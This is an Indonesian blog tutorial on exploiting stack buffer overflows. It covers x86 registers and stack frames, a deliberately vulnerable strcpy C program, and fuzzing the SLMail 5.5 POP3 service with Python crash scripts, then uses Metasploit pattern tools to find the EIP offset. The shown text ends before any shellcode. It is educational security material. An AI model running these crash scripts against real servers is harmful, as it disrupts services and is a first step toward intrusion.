Cara Membuat Exploit Untuk Buffer Overflow

23 December 2014 by Harry Adinanta . 0 Comment

Daftar Isi:

  1. Latar Belakang
  2. Arsitektur Processor Dan Memory di Intel x86 Family
  3. STACK
  4. Terjadinya Buffer Overflow
  5. Mengidentifikasi kerentanan Buffer Overflow
  6. Mengeksploitasi kerentanan Buffer Overflow
  7. Resources
  8. Selanjutnya

Latar Belakang

Istilah “Buffer Overflow” mungkin sudah tidak asing lagi bagi sebagian besar praktisi IT. Istilah ini sering digunakan untuk menjelaskan penyebab suatu software atau sistem yang berhenti bekerja (hang atau not-responding) saat melakukan suatu proses meskipun tidak semua kejadian hang atau not-responding disebabkan oleh buffer overflow.

Terkenalnya istilah buffer overflow mungkin juga dipicu oleh masih banyaknya software yang rentan terhadap permasalahan ini. Bahkan saat saya menulis tutorial ini (Nov 2014), Common vulnerability database di http://www.cvedetails.com masih melaporkan adanya kerentanan buffer overflow di berbagai software mulai dari flash player, php sampai ke perangkat security seperti cyberoam appliances.

Dalam kesempatan ini saya ingin membahas kerentanan buffer overflow sedikit lebih rinci yaitu mulai dari pemahaman dasar, cara pendeteksianya sampai ke cara membuat exploit dimana kita akan memanfaatkan kerentanan tersebut untuk mendapatkan hak akses ke aplikasi atau ke sistem . Saya berusaha membuat tutorial ini sesederhana mungkin agar mudah dimengerti. Untuk itu saya sangat membutuhkan masukan (feedback) dari para pembaca dan juga dari para ahli (jawara security) agar tutorial ini dapat digunakan oleh khalayak banyak untuk memperdalam pengetahuan tentang keamanan Informasi.

Saya ingin mengingatkan bahwa tutorial ini dibuat dengan tujuan menyebarluaskan ilmu pengetahuan keamanan Informasi dan BUKAN digunakan untuk kegiatan ILLEGAL seperti HACKING. Saya tidak bertanggung jawab terhadap pihak yang memanfaatkan Informasi ini untuk melawan hukum.

Sebelum menuju ke pembahasan utama, mari kita terlebih dahulu mengenal apa itu buffer overflow. Buffer adalah “bagian memory yang menyimpan data” sementara kata overflow memiliki arti “meluap atau melebihi”. Dapat kita simpulkan bahwa buffer overflow adalah kondisi dimana bagian memory tidak mampu menampung besarnya data yang akan disimpan.

Buffer overflow terjadi saat suatu proses pada aplikasi mencoba menyimpan data ke bagian memory melebihi kapasitas yang telah dialokasikan sehingga proses penyimpanan tersebut menimpa (meng-overwrite) data lainnya yang tersimpan di lokasi memory yang berada disebelahnya. Apabila data yang tertimpa masih dibutuhkan oleh aplikasi, maka bisa dipastikan aplikasi akan berhenti bekerja atau hang saat data tersebut dibaca untuk kemudian diproses.

Guna memahami buffer overflow lebih baik, kita akan menggunakan debugger untuk melihat langsung bagaimana suatu proses atau fungsi pada aplikasi menyimpan data ke memory dan bagaimana proses tersebut dapat menimpa (overwrite) data yang tersimpan di memori segmen lainnya. Namun, sebelum kita menggunakan debugger, ada baiknya kita terlebih dahulu mengetahui tentang arsitektur memory dan processor.

Arsitektur Processor Dan Memory di Intel x86 Family

Agar tutorial ini mudah dimengerti, saya hanya akan membahas sekilas tentang arsitektur processor Intel x86 Family dimana konsep ini berlaku untuk semua processor bertipe Intel IA-32 (Intel Pentium & Core-Duo) dan AMD (Athlon, Phenom & Opteron).

Perlu diketahui bahwa tutorial ini akan membahas aplikasi yang berjalan di sistem operasi windows (OS) 32-bit. Agar dapat mengikuti tutorial ini dengan baik, maka pastikan sistem operasi (windows XP atau windows 7) yang digunakan adalah versi 32-bit meskipun sistem operasi tersebut dijalankan menggunakan processor 64-bit.

Untuk mengetahui bagaimana processor memproses instruksi dan menyimpan data di memory, mari kita bahas diagram balok sebuah microcomputer.

alt text

Secara umum, processor (Central Processing Unit) memiliki komponen berikut:

Disamping itu, terdapat komponen lainnya yang berada di luar CPU seperti main memory (RAM) yang menyimpan Instruksi dan data. Saat CPU membutuhkan instruksi dan data untuk diproses, CPU memanggil RAM melalui jalur “address bus” dan kemudian RAM mengirimkan Instruksi dan data yang dibutuhkan melalui jalur “Data Bus”.

Hal penting lainnya yang perlu untuk diketahui adalah tipe REGISTER yang tersedia di dalam CPU seperti:

Dalam pembahasan buffer overflow, kita akan lebih fokus memperhatikan perubahan di tiga register yaitu EIP, ESP dan EBP karena register tersebut yang akan tertimpa (ter-overwrite) saat buffer overflow terjadi. Pada diagram diatas, saya sudah menandakan ketiga register ini dengan warna biru.

Perlu diketahui bahwa Register dan CPU menyimpan dan memproses data dalam format BINARY yaitu dengan angka 0 dan 1. Namun demikian, kita (manusia) akan menggunakan format HEXADECIMAL saat memberikan instruksi ke CPU melalui bahasa assembly atau saat melihat aktifitas CPU dengan debugger. Menggunakan bilangan HEX memberikan kemudahan bagi kita karena satu bilangan HEX bisa mewakili (represent) 4 bit BINARY

Sebagai contoh,

Bilangan HEX biasanya dinyatakan dengan menambah simbol “0x\” atau “\x” didepannya. Misalnya binary “1111-1111” (8-bit) dapat dinyatakan dalam bentuk HEX “\xFF”.

Melanjuti pembahasan seputar register, besarnya kapasitas data yang bisa disimpan oleh setiap register di CPU 32-bit adalah 32-bit. Artinya, setiap register bisa menyimpan maksimal data dengan nilai “11111111-11111111-11111111-11111111” atau “\xFFFFFFFF”

Setiap register memiliki aturan berbeda-beda dalam menyimpan besaran data dalam satu kali operasi. Misalnya general purpose register (EAX, EBX, ECX, EDX) dapat menyimpan data dalam satuan (blok) 8-bit atau 1 byte (1 byte = 8 bit) dalam satu kali operasi. Namun demikian, apabila diperlukan, register-register ini juga dapat menyimpan data dalam besaran 16-bit atau 2 byte dan juga bisa dalam besaran 32-bit atau 4 byte dalam satu kali operasi. Inti dari aturan ini adalah bahwa CPU bisa menggunakan hanya sebagian dari ruang yang tersedia pada register-register tersebut dengan memangil nama register sesuai besaran yang diinginkan. Berikut ini nama-nama register berdasarkan besaran data yang bisa digunakan.

alt text

Berdasarkan diagram balok diatas, apabila CPU ingin mengakses atau menyimpan data di register EAX yang memiliki ukuran 16-bit, maka CPU cukup melakukan referensi terhadap register AX dan begitu juga seterusnya untuk ukuran lainnya. Berikut ini table nama referensi register berdasarkan besaran (size) yang diinginkan

32-bit 16-bit 8-bit Tinggi 8-bit Rendah
EAX AX AH AL
EBX BX BH BL
ECX CX CH CL
EDX DX DH DL

Sementara, register lainnya seperti ESI, EDI, EBP dan ESP hanya menawarkan penyimpanan dan akses dalam satuan (blok) 16 bit dan 32-bit. Untuk EIP, akses hanya diberikan dalam satuan 32-bit karena register ini menyimpan pointer (alamat memory) yang menyimpan kode instruksi yang harus dieksekusi oleh CPU dan alamat memory tersebut semuanya dalam satuan 32-bit (tidak ada alamat memory yang memiliki ukuran 16 bit kecuali pada CPU yang 16 bit).

Bagi pembaca yang belum pernah mempelajari arsitektur microcomputer, tidak perlu khawatir apabila kurang memahami penjelasan saya diatas. Ikuti seluruh langkah yang ada dalam tutorial ini dan anda akan memahami bagaimana sebagian dari komponen ini bekerja.

Untuk kebutuhan pembahasan buffer overflow, berikut hal penting yang perlu diketahui:

  1. Register adalah memory yang berada di CPU. Register biasanya hanya menyimpan alamat (address) RAM yang menyimpan data/instruksi yang dibutuhkan oleh CPU. Dalam hal ini register bertugas sebagai pointer atau petunjuk bagi CPU untuk mengambil dan membaca data dari RAM.
  2. Register Extended Instruction Pointer (EIP) adalah jenis register khusus dan hanya menyimpan alamat (address) RAM yang menyimpan Instruksi yang akan dieksekusi oleh CPU. Jadi, CPU akan selalu melihat EIP untuk mengetahui dimana instruksi berikutnya tersimpan dan kemudian mengambil dan mengeksekusinya. Dalam kondisi buffer overflow, nilai yang tersimpan di EIP menjadi salah satu data yang tertimpa (ter-overwrite) sehingga CPU tidak lagi bisa membaca dan kemudian mengeksekusi instruksi dari lokasi yang benar.
  3. Extented Stack Pointer (ESP) juga merupakan jenis register khusus yang berfungsi sebagai pointer/pentunjuk lokasi penyimpanan STACK di RAM. Kita akan bahas STACK di bagian berikutnya. Saat melakukan exploitasi terhadap kerentanan buffer overflow, kita akan memanfaatkan lokasi STACK untuk menyimpan PAYLOAD kita.

STACK

Saat aplikasi mulai dijalankan, Sistem Operasi membuat process dan kemudian menyediakan virtual memory ke aplikasi tersebut. Di Sistem Operasi windows, setiap aplikasi diberikan process dan Virtual memory tersendiri dengan alamat mulai dari 0x00000000 sampai dengan 0xFFFFFFFF (dinyatakan dalam HEX untuk memudahkan kita).

Dari virtual memory yang disediakan, memory yang berada di lokasi 0x00000000 sampai dengan 0x7FFFFFFF dialokasikan khusus untuk kode dan data aplikasi dan area ini biasa disebut dengan istilah “userland memory segment”. Aplikasi bebas menggunakan segmen memory ini selama perjalanan proses aplikasi tersebut. Sementara memory yang berada dilokasi 0x80000000 sampai dengan 0xFFFFFFFF dialokasikan khusus untuk kernel dan area ini biasa disebut dengan istilah “kernel land memory segment”. Aplikasi tidak diperbolehkan mengganggu segmen memory ini.

Dalam rentang virtual memory yang diberikan kepada aplikasi (userland memory segment), Sistem Operasi mengalokasikan sebagian ruang memory ini untuk digunakan sebagai ruang “kerja” aplikasi atau sebagai “ruang corat-coret”. Ruang memory ini disebut dengan istilah STACK. Sistem Operasi mengalokasikan STACK untuk setiap “thread” di aplikasi dan menghapusnya saat “thread” tersebut dihentikan.

Singkat kata, STACK adalah ruang memory di segment “userland” yang dimanfaatkan oleh “thread” di aplikasi untuk menyimpan data seperti local variable, nilai register dan data lainnya. Saat suatu fungsi pada aplikasi akan dieksekusi, sebuah ruang atau blok (STACK FRAME) dialokasikan didalam STACK yang kemudian digunakan oleh fungsi tersebut untuk menyimpan data variable termasuk “user input”.

Ukuran STACK ditentukan dan dialokasikan saat awal pembentukannya dan tidak akan berubah selama thread yang memiliki STACK ini masih berjalan. Namun demikian, ukuran STACK FRAME yang berada di dalam STACK bersifat dinamis dan dialokasikan sesuai dengan kebutuhan sub-routine atau function.

STACK bekerja dengan prinsip urutan LIFO (Last In FIrst Out). Artinya, data terakhir yang tersimpan dalam STACK saat instruksi PUSH dieksekusi oleh CPU, akan menjadi data pertama yang dikeluarkan dari STACK saat instruksi POP dieksekusi oleh CPU.

Mengacu kepada pembahasan kita sebelumnya mengenai register, ESP (Extended Stack Pointer) adalah register yang bertugas sebagai petunjuk lokasi STACK pada saat CPU mengeksekusi Instruksi (lokasi STACK in real time). Lokasi ini tentunya dinyatakan dalam bentuk alamat RAM (dalam format HEX kalau kita melihatnya di debugger). Dalam perjalan pengeksekusian instruksi, lokasi STACK frame pointer bisa berubah tergantung dengan instruksi yang telah dijalankan oleh CPU.

STACK dialokasikan oleh Sistem Operasi di alamat memory yang tinggi (high memory address) dan berkembang/tumbuh ke alamat memory yang rendah (lower memory address). Saat data di PUSH atau disimpan ke STACK, ESP (stack pointer) akan mengurangi alamat memory sebesar data yang di PUSH sehingga pointer menunjukan lokasi baru atau ruang kosong dalam STACK yang kemudian dapat digunakan oleh instruksi berikutnya. Apabila instruksi POP (mengeluarkan data dari STACK) dieksekusi oleh CPU, maka ESP (stack pointer) akan menambah alamat memory sebesar data yang dikeluarkan sehingga pointer menunjukan lokasi data sebelumnya. Sekali lagi ini terjadi karena STACK membesar ke alamat memory yang lebih rendah.

Berikut ini diagram balok yang menggambarkan STACK yang berkembang/tumbuh ke alamat memory yang rendah

alt text

Seperti yang kita bahas sebelumnya, setiap PUSH ke STACK (menyimpan nilai/data ke STACK), nilai di ESP (Extended Stack Pointer) dikurangi karena STACK berkembang ke arah alamat memory yang lebih kecil. Pengurangan ini tergantung besarnya nilai/data yang di-PUSH. Misalnya, saat EIP disimpan ke STACK FRAME, register ESP akan dikurangi dengan 4 byte (4 * 8 bit =32 bit). Hal ini wajar karena nilai yang ada di EIP adalah alamat memory yang panjangnya adalah 32-bit.

Tanpa menghabiskan waktu membahas proses STACK, STACK FRAME dan juga hal lainnya seperti HEAP, mari kita langsung menganalisa terjadinya buffer overflow dari aspek STACK.

Terjadinya Buffer Overflow

Seperti pembahasan kita sebelumnya, buffer overflow terjadi karena aplikasi mencoba menyimpan data ke bagian memory (BUFFER yang tersimpan di STACK) melebihi kapasitas yang telah dialokasikan sehingga proses penyimpanan tersebut menimpa (meng-overwrite) data lainnya yang tersimpan di lokasi memory yang berada disebelahnya seperti EIP dan EBP. Karena EIP menyimpan lokasi memory yang memiliki instruksi selanjutnya yang harus dieksekusi oleh CPU dan nilai ini telah ter-timpa, maka aplikasi akan berhenti bekerja (Hang atau Crash).

Mari kita analisa buffer overflow menggunakan debugger. Sebelum mulai bereksperimen, download dan instal sistem operasi dan aplikasi berikut.

  1. Siapkan windows XP atau windows 7 (Bisa menggunakan VMWARE). Saya tidak bisa memberikan download link karena Sistem Operasi ini tidak gratis.

  2. Download dan Install immunity debugger. Untuk mendapatkannya, bisa langsung download dari http://debugger.immunityinc.com/ID_register.py
  3. Download dan Install KALI LINUX di http://cdimage.kali.org/kali-1.0.9a/kali-linux-1.0.9a-i386.iso apabila anda memiliki vmware, bisa gunakan vm image KALI yang tersedia di http://images.offensive-security.com/kali-linux-1.0.9-vm-i686.7z agar bisa langsung digunakan tanpa instalasi.

Setelah semua terinstal, buat dan compile program C berikut menggunakan i586-mingw32msvc-gcc yang telah tersedia di KALI LINUX. Program ini memang sengaja dibuat rentan terhadap buffer overflow agar mudah dianalisa. Langkah selanjutnya sudah saya dokumentasikan dalam video untuk mempermudah anda dalam mengikuti keseluruhan tutorial.

#include <string.h>

//fungsi atau sub-routine yang digunakan untuk meng-copy data dari user ke variable sementara

void FungsiCopyString(char *InputDariUser)
{

        char TempVar[64]; //declare variable sementara sebesar 64 byte yang akan menampung data dari user
        strcpy(TempVar,InputDariUser);  //lakukan copy data dari user ke variable sementara
}

//fungsi utama yang akan dieksekusi pertama kali saat program dijalankan 

int main (int argc, char **argv)
{

        FungsiCopyString(argv[1]); //panggil fungsi copy string dan sertakan argumen input data dari user
}

Berikut ini video bagaimana cara meng-compile aplikasi diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

Program sederhana ini memanggil sub-routine atau fungsi yang ada diatasnya untuk memproses argument/input dari user. Proses yang dilakukan oleh sub-routine ini tidak lain hanya meng-copy argument/input yang diberikan oleh user ke variable atau buffer yang besarnya 64 byte. Apabila operasi copy telah berhasil dilaksanakan, sub-routine/function akan menyerahkan kembali pekerjaan selanjutnya ke function utama (main). Penyerahan kembali ini dilakukan dengan mengembalikan (me-restore) nilai EIP yang disimpan dalam STACK ke register EIP.

Untuk melihat proses diatas, compile program di KALI LINUX dan kemudian jalankan di mesin windows XP dengan memberikan argument atau input. Program akan berjalan dengan baik apabila argument/input yang diberikan tidak melebihi 64 byte (1 karakter ascii besarnya 1 byte atau 8 bit dan dapat dinyatakan dalam HEX mulai dari \x00 sampai \xff) . Referensi mapping HEX dan ascii dapat dilihat di http://www.ascii-code.com

Apabila program diberikan argument/input melebihi 64 byte (misalnya dengan memberikan huruf C sebanyak 80 karakter), maka program akan hang atau crash. Hal ini terjadi karena argument yang besarnya melibihi kapasitas ruang memory (buffer) yang disediakan telah menimpa (meng-overwrite) data penting yang tersimpan dalam buffer tersebut. Salah satu data penting yang tersimpan dalam buffer adalah EIP (Extended Instruction Pointer). Dengan hilangnya data EIP, CPU tidak lagi bisa mengeksekusi instruksi berikutnya karena tidak mengetahui lokasi instruksi tersebut disimpan.

Untuk melihat proses overwrite ini, kita akan menganalisa assembly code milik subroutine/function yang melakukan peng-copy-an argument ke variable(buffer). Untuk menganalisis ini, kita akan menggunakan immunity debugger. Bagi yang belum pernah menggunakan immunity debugger, bisa melihat video berikut ini.

Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

Mari kita teliti lebih dalam assembly code milik sub-routine/fuction FungsiCopyString, yang bertugas melakukan peng-copy-an argument/input ke variable/buffer TempVar. Kita tertarik dengan sub-routine ini karena kita sudah mengetahui bahwa program hang atau crash saat memproses argument yang besarnya melebihi ruang memory atau buffer yang telah disediakan. Untuk mengidentifikasi assembly code milik subroutine/function ini, kita akan cari instruksi assembly yang melakukan string copy atau strcpy dan diawali dengan instruksi PUSH EBP dan MOV EBP,ESP.

Perlu diketahui bahwa biasanya eksekusi suatu sub-routine atau function diawali dengan instruksi seperti PUSH EBP yang kemudian dilanjutkan dengan MOV EBP,ESP

Sekilas saja mengenai bahasa assembly, PUSH EBP ini artinya meng-copy apapun nilai yang ada di register EBP ke dalam STACK memory. Sementara perintah MOV EBP,ESP ini artinya meng-copy apapun nilai yang ada di register ESP ke register EBP.

Berikut ini block assembly dari sub-routine/function FUngsiCopyString.

alt text

Tidak perlu khawatir dengan bahasa assembly diatas karena kita hanya ingin melihat sekilas bagaimana suatu buffer bisa menimpa data penting seperti EIP (Extended Instruction Pointer) di memory. Dengan ter-timpa nya data EIP, maka kita sudah dapat mengkontrol alur eksekusi aplikasi karena CPU menggunakan register EIP (Extended Instruction Pointer) ini sebagai petunjuk lokasi instruksi yang berikutnya. Kita akan bahas lebih detail bagaimana kita bisa memanfaatkan kelemahan ini untuk menginstruksikan CPU agar mengeksekusi perintah yang kita inginkan.

Namun sebelum assembly code diatas dieksekusi, ada beberapa tahapan lainnya yang harus dieksekusi oleh CPU seperti yang telah dijelaskan pada bagian prilaku STACK. Berikut proses dan instruksi yang harus eksekusi oleh CPU:

alt text

Setelah tahapan diatas selesai, CPU mulai mengekseksui instruksi-instruksi milik sub-routine/function FungsiCopyString.

alt text

Setelah itu, CPU akan mengalokasiakan buffer atau ruang memory dengan instruksi SUB ESP,48 (yang artinya kurangi nilai yang ada di ESP sebanyak 48 byte dalam HEX atau sama dengan 72 byte dalam bahasa kita) untuk menyimpan hasil pemprosesan sub-routine atau function tersebut. Buffer ini yang nantinya akan menyimpan arguments/input dari kita sesuai dengan perintah yang kita buat di program yaitu memberikan ruang untuk variable TempVar sebesar 64 byte. Mungkin muncul pertanyaan, “kenapa assembly mengalokasikan ruang lebih besar yaitu 72 byte?”. Ini terjadi karena compiler memberikan ruang tambahan untuk kebutuhan eksekusi instruksi.

Seperti kita ketahui, saat CPU menyimpan data ke STACK dengan instruksi PUSH, maka nilai di register ESP (Extended STACK Pointer) akan dikurangi. Hal ini terjadi karena STACK membesar ke alamat memory yang lebih kecil seperti pembahasan kita sebelumnya. Sebaliknya, saat CPU mengeluarkan nilai dari STACK dengan instruksi POP, maka nilai register ESP akan ditambahkan sesuai dengan besar data yang dikeluarkan.

Berikut ini ilustrasi lokasi dan isi STACK setelah prolog diatas selesai dieksekusi.

alt text

Setelah prolog atau instruksi inisialisasi selesai, program mulai meng-copy arguments/user input ke variable TempVar. Proses peng-copy-an ini tidak mengubah nilai STACK POINTER (ESP) karena dilakukan di ruang memory/Buffer yang telah dialokasikan saat inisialisasi. Karena proses pen-copy-an bukan merupakan operasi STACK (PUSH atau POP ESP), maka metode penyimpanan datanya dimulai dari alamat memory yang kecil dan membesar ke alamat memory yang lebih besar. Selain itu, operasi pen-copy-an tidak akan berhenti sebelum ditemukannya null byte (\X00) atau karakter kosong. Permasalahan muncul saat kapasitas buffer telah penuh dan peng-copy-an masih berlanjut hingga akhir karakter argument sehingga proses tersebut mulai menimpa data di memory sebelahnya seperti EBP,EIP dan juga pointer argv[1]. Berikut ilustrasi proses peng-copy-an argument ke buffer.

alt text

Mengacu kembali ke program kita, tugas sub-routine/function FungsiCopyString akan selesai setelah peng-copy-an argument/user input selesai dilakukan. Sub-routine/function yang telah selesai melakukan tugasnya akan mengembalikan instruksi selanjutnya ke fungsi yang memanggil. Di program kita, fungsi yang memanggil sub-routine FungsiCopyString adalah fungsi utama (main function).

Proses pengembalian ini dilakukan dengan memindahkan (restore) nilai EIP yang tersimpan di dalam STACK ke register EIP. Pemindahaan ini dieksekusi melalui instruksi assembly RET.

Apa yang terjadi berikutnya? nilai EIP yang di pindahkan (restore) dari STACK ke register adalah nilai yang telah ter-timpa (overwrite) dengan arguments yang kita berikan ke program yaitu karakter CCCC.

Register EIP kemudian menginformasikan CPU untuk mengeksekusi instruksi berikutnya yang tersimpan di alamat memory CCCC dimana alamat memory tersebut tidak ada (non-existance). Hasilnya? CPU bingung dan duarrr!!!! aplikasi crash.

Berikut adalah nilai ESP (Stack pointer) dan EIP selama proses diatas dieksekusi.

1.Alamat atau pointer tempat data argument/user input disimpan

alt text

2.Nilai EIP (Extended Instruction Pointer) disimpan dalam STACK

alt text

3.Nilai EBP disimpan dalam STACK

alt text

4.Buffer dialokasikan untuk variable TempVar sebesar 48 byte dalam HEX atau 72 byte dalam hitungan kita (base 10)

alt text

5.Saat sub-routine/function FungsiCopyString selesai, EIP dikembalikan (di-restore) dengan nilai yang sudah tertimpa yaitu dengan karakter C atau dalam HEX \x43

alt text

6.Program CRASH!!!!!!

Dari kejadian ini, kita mengetahui bahwa nilai EIP yang tersimpan di STACK dapat ditimpa (di-overwrite) dengan arguments/input yang kita berikan. Fakta ini akan memuncukan pertanyaan berikut:

  1. Bagaimana kalau kita timpa nilai EIP ini dengan alamat memory yang menyimpan instruksi yang telah kita injeksi?

  2. Apakah CPU akan meng-eksekusi instruksi di alamat memory yang kita berikan tersebut?

  3. Bagaimana kalau instruksi yang kita sisipkan ke memory tersebut merupakan program yang memberikan kita hak akses ke sistem operasi berupa shell?

Pertanyaan diatas adalah salah satu tujuan utama kita mengexploitasi kerentanan buffer overflow. Kita akan praktekan konsep ini pada aplikasi yang sebenarnya.

Semoga anda belum mengantuk dan berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

Mengidentifikasi kerentanan Buffer Overflow

Mari kita sudahi pembahasan teori yang membosankan dan langsung melihat aplikasi sungguhan yang rentanan terhadap buffer overflow. Kali ini kita akan analisa mail server bernama SLMAIL 5.5.

Kerentanan buffer overflow pada aplikasi ini sudah teridentifikasi sejak lama dan menurut saya kasus pada aplikasi ini sangat bagus untuk dijadikan contoh pembahasan pengenalan buffer overflow karena tergolong mudah untuk di-ekploitasi.

Halaman exploit-db.com telah menyediakan kode(code) untuk meng-exploitasi kerentanan ini dan bisa dilihat di http://www.exploit-db.com/exploits/646/. Selain itu, terdapat beberapa versi kode exploitasi lainnya yang bisa digunakan di tautan berikut

Namun, pada kesempatan ini, kita tidak akan menggunakan kode-kode exploitasi yang ada karena kita akan membuatnya sendiri. Ya, justru tujuan utama dari tutorial ini adalah bagaimana kita menganalisa kerentanan dan kemudian membuat exploitnya.

Sebelum kita mulai, pastikan anda lakukan berikut:

  1. Download aplikasi SLMAIL 5.5 di halaman exploit-db dan kemudian install aplikasi tersebut di windows XP atau windows 7. Tutorial ini menggunakan window XP sehingga nilai return address atau EIP akan berbeda di sistem operasi selain XP

  2. Download atau clone MONA (immunity debugger extension) di github https://github.com/corelan/mona

  3. Instal MONA dengan meng-copy script mona.py ke folder C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands di Windows XP anda

Kerentanan di SLMAIL 5.5. terletak pada layanan POP3 dimana layanan ini akan berprilaku tidak normal (hang) setelah menerima dan memproses input password yang sangat panjang. Ikuti langkah berikut secara berurutan untuk melihat setiap fase yang dilalui oleh aplikasi SLMAIL sampai akhirnya crash (hang)

i. Fuzzing

Untuk mengetahui seberapa panjang password yang membuat layanan POP3 SLMAIL 5.5 hang, kita akan coba mengirim sejumlah password dengan panjang yang bervariasi. Metode ini dikenal dengan istilah fuzzing atau upaya mengirim data secara acak (random) dengan harapan aplikasi crash (hang) saat memproses data tersebut. Saat aplikasi crash (hang) kita punya kesempatan untuk menganalisa penyebabnya dan kemudian mengexploitasinya apabila memungkinkan.

Sebelum kita memulai, pastikan SLMAIL telah berjalan dengan baik di windows XP dan kemudian “attach” proses POP3 SLMAIL ke imunity debugger. Setelah itu pastikan immunity debugger menjalankan proses tersebut. Berikut cara attach proses di immunity debugger.

Klik Immunity debugger –> File –> Attach –> SLMAIL yang menjalankan port TCP 110 –> klik Attach seperti gambar dibawah ini

alt text

Setelah itu jangan lupa untuk klik PLAY di tombol atas agar debugger tidak memberhentikan prosesnya.

Ada dua cara dalam melakukan fuzzing, yaitu:

1.Cara Manual

Menggunakan netcat di kali linux, kita dapat berkomunikasi dengan layanan POP3 dan kemudian mengirim sejumlah password dengan panjang yang berbeda-beda. Setiap mengirim password, kita perhatikan debugger untuk melihat kondisi layanan POP3. Lakukan pengiriman sejumlah password sampai akhirnya layanan POP3 hang(crash). Berikut ini contoh penggunaan netcat dari kali linux ke SLMAIL yang berjalan di windows XP dengan IP 172.16.192.130

alt text

2.Cara Otomatis

Dengan sedikit script python, kita bisa meng-otomasi proses diatas. Script berikut ini melakukan iterasi dan mengirim karakter “C” sebagai password dengan panjang yang bervariasi. kita mulai dengan panjang password 1 byte (1 karakter “C”) dan kemudian dengan panjang 100 byte dan penambahan 200 byte untuk setiap password yang dikirim. Jalankan script ini dengan mengetik python nama_scriptnya

#!/usr/bin/python

import socket

password_array=["C"]    #Array untuk menyimpan karakter "C" sebagai password yang akan dikirim ke layanan POP3
array_counter=1         #Penghitung jumlah array saat iterasi untuk mengisi array dengan password
password_length=100     #Bilangan penambahan jumlah password yang dibuat

while array_counter<=40:        #iterasi sampai array mencapai 40 baris

        password_array.append("C"*password_length) # isi array dengan karakter "C" sbagai password dengan panjang sesuai bilangan

        password_length=password_length+200     #tambahkan bilangan jumlah password
        array_counter=array_counter+1           #tambahkan penghitung jumlah array

for password in password_array: #iterasi isi array dan kemudian kirim isi tersebut sebagai password

        print "Mengirim password sebesar %s byte\n\n" % len(password)
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)      #definisikan koneksi TCP/IP soket

        print "\nBerkomunikasi dengan POP3.....\n"
        connect=s.connect(('172.16.192.130',110))       #Koneksi ke POP3 server
        data=s.recv(1024)                               #pesan balasan dari server
        print data                                      #print ke layar supaya kita tau statusnya

        s.send('USER adinanta\r\n')                     #kirim username adinanta (username apa aja bisa)
        data=s.recv(1024)                               #pesat balasan server
        s.send('PASS '+password+'\r\n')                 #kirim string password ke server
        s.send('QUIT\r\n')                              #keluar dari komunikasi pop3
        s.close()                                       #putus tcp/ip connection

Setelah fuzzing dilakukan, kita berhasil mengidentifikasi bahwa POP3 crash(hang) saat mulai memproses password dengan panjang 3100 byte. Hal ini bisa kita lihat di immunity debugger dimana nilai EIP telah tertimpa dengan HEX \x43 atau karakter “C” dalam ASCII. Berikut tampilan debugger saat SLMAIL POP3 crash

alt text

Berikut video singkat yang menjelaskan proses diatas. Agar text di video terbaca, gunakan HD di setting video yang tersedia di menu youtube.

alt text

ii. Mencari lokasi EIP yang tertimpa

Seperti pembahasan kita sebelumnya, tugas register Extended Instruction Pointer (EIP) adalah memberi CPU petunjuk lokasi instruksi yang harus dieksekusi selanjutnya. Saat instruksi yang ada di sub-routine/function selesai dieksekusi, CPU harus melanjutkan kembali instruksi utama yang memanggil sub-routine/function tersebut. Alamat atau lokasi instruksi ini disimpan dalam STACK dan dikembalikan (di-restore) ke register EIP setelah sub-routine/function teah selesai dieksekusi.

Pada kasus SLMAIL POP3 diatas, nilai EIP telah tertimpa dengan karakter password yang kita kirim dan hal ini terjadi saat kita mengirim password yang panjangnya 3100 byte.

Dalam kata lain, kita bisa memberikan nilai EIP sesuai dengan keinginan kita dengan menyisipi nilai EIP ke dalam bagian password yang kita kirim. Karena kita bisa memberikan nilai EIP, maka otomatis kita bisa kontrol alur eksekusi CPU.

Kondisi ini dapat kita manfaatkan dengan menyuruh CPU untuk mengeksekusi instruksi yang kita berikan dan bukan instruksi yang ada di SLMAIL. Instruksi ini bisa berupa shell yang memberikan kita hak akses ke sistem operasi (OS) yang menjalankan SLMAIL.

Untuk itu, kita perlu mengetahui di karakter password yang keberapa nilai EIP ini tertimpa (ter-overwrite). Berikut langkah yang kita akan lakukan:

1.Mengirim karakter unik sepanjang 3100 byte sebagai password. Kita akan menggunakan program pattern_create.rb dari metasploit untuk membuat karakter ini. Setelah itu kita akan modifikasi program fuzzing kita untuk mengirim karakter ini sebagai password. Ikuti langkah berikut untuk membuat pattern dan kemudian gunakan program fuzzing kita yang sudah dimodifikasi untuk mengirim pattern ini sebagai password.

a.Dari shell kali linux ketik /usr/share/metasploit-framework/tools/pattern_create.rb 3100

alt text

b.Modifikasi program fuzzing dan jadikan hasil pattern diatas sebagai password. Setelah itu jalankan kembali

#!/usr/bin/python

import socket

pattern_password="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9A$


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)      #definisikan koneksi TCP/IP soket

print "\nBerkomunikasi dengan POP3.....\n"
connect=s.connect(('172.16.192.130',110))       #Koneksi ke POP3 server
data=s.recv(1024)                               #pesan balasan dari server
print data                                      #print ke layar supaya kita tau statusnya

s.send('USER adinanta\r\n')                     #kirim username adinanta (username apa aja bisa)
data=s.recv(1024)                               #pesat balasan server
s.send('PASS '+pattern_password+'\r\n')                 #kirim string password ke server
s.send('QUIT\r\n')                              #keluar dari komunikasi pop3
s.close()                                       #putus tcp/ip connection

2.Melihat karakter yang tersimpan di register EIP menggunakan debugger saat POP3 crash (hang)

Sebelum melihat nilai di register EIP, pastikan layanan SLMAIL POP3 telah crash (hang) dengan memperhatikan pesan di window kiri bawah yang bertulisan “Access Violation when executing [XXXXXX).

alt text

3.Mencari posisi karakter yang kita temukan di register EIP dalam karakter sepanjang 3100 byte menggunakan /usr/share/metasploit-framework/tools/pattern_offset.rb. Di komputer saya, register EIP menyimpan nilai 0x39694438 dan berada di karakter 2606 dari 3100 byte yang kita kirim.

alt text

